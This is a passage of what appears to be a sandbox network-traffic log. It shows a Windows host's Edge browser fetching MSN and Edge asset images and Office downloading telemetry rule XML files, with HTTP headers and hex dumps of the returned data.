65	192.168.2.5	49851	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=90011 Expires: Sat, 16 Nov 2024 16:16:41 GMT Date: Fri, 15 Nov 2024 15:16:30 GMT Connection: close
2024-11-15 15:16:30 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49852	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	514	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=80075 Expires: Sat, 16 Nov 2024 13:31:05 GMT Date: Fri, 15 Nov 2024 15:16:30 GMT Connection: close
2024-11-15 15:16:30 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151630Z-16547b76f7fgfpmjhC1DFWw6ec00000000v000000000nm3t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49855	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=251334 Expires: Mon, 18 Nov 2024 13:05:24 GMT Date: Fri, 15 Nov 2024 15:16:30 GMT Connection: close
2024-11-15 15:16:30 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49856	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=105210 Expires: Sat, 16 Nov 2024 20:30:00 GMT Date: Fri, 15 Nov 2024 15:16:30 GMT Connection: close
2024-11-15 15:16:30 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49854	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:15 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: f7ec68f9-61c4-4117-9b16-c229b5f431dd Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=398869 Expires: Wed, 20 Nov 2024 06:04:19 GMT Date: Fri, 15 Nov 2024 15:16:30 GMT Connection: close
2024-11-15 15:16:30 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-15 15:16:30 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49850	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: c7113cc6-901e-0026-654a-36f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151630Z-164f84587bfpc2cvhC1DFW7gdw00000001cg00000000281a Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151630Z-16547b76f7f76p6chC1DFWctqw0000000ne000000000bv86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151630Z-16547b76f7fljddfhC1DFWeqbs00000002a000000000da8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:31 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151630Z-1866b5c5fbb2cz68hC1DFW9ytc00000000eg000000001c9y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
